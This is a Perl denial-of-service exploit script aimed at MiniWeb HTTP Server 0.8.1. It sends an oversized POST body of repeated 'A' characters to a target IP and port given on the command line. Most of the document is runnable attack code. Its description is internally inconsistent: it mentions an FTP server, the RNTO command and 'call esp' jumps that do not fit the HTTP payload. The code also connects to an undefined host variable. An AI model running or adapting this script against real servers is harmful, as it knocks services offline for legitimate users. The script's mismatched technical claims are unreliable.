#!/usr/bin/perl use IO::Socket; # Exploit Title: MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 19 january 2024 # Vendor Homepage: N/A # Download to demo: https://drive.google.com/file/d/1AVHSlsYj5Ukw9co9M2Ql6RsqCTzbI038/view?usp=sharing # Notification vendor: No reported # Tested Version: MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS) # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denied of Service (DoS) # Vídeo: https://www.youtube.com/watch?v=HbAy3RvHpAI #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The FTP server does not correctly handle the amount of data or bytes sent to command RNTO. #When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $payload = "\x41" x 2038; my $http_req = "POST /index.html HTTP/1.1\r\n"; $http_req .= "Host: $ip\r\n"; $http_req .= "From: header-data\r\n"; $http_req .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"; $http_req .= $payload; my $socket = IO::Socket::INET->new( PeerAddr => $host, PeerPort => $port, Proto => 'tcp' ) or die "[-] Could not connect\n"; $socket->send($http_req); $socket->close(); print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print q { _/| // o\ || ._) //__\ )___( [+] MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: [email protected] } } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } }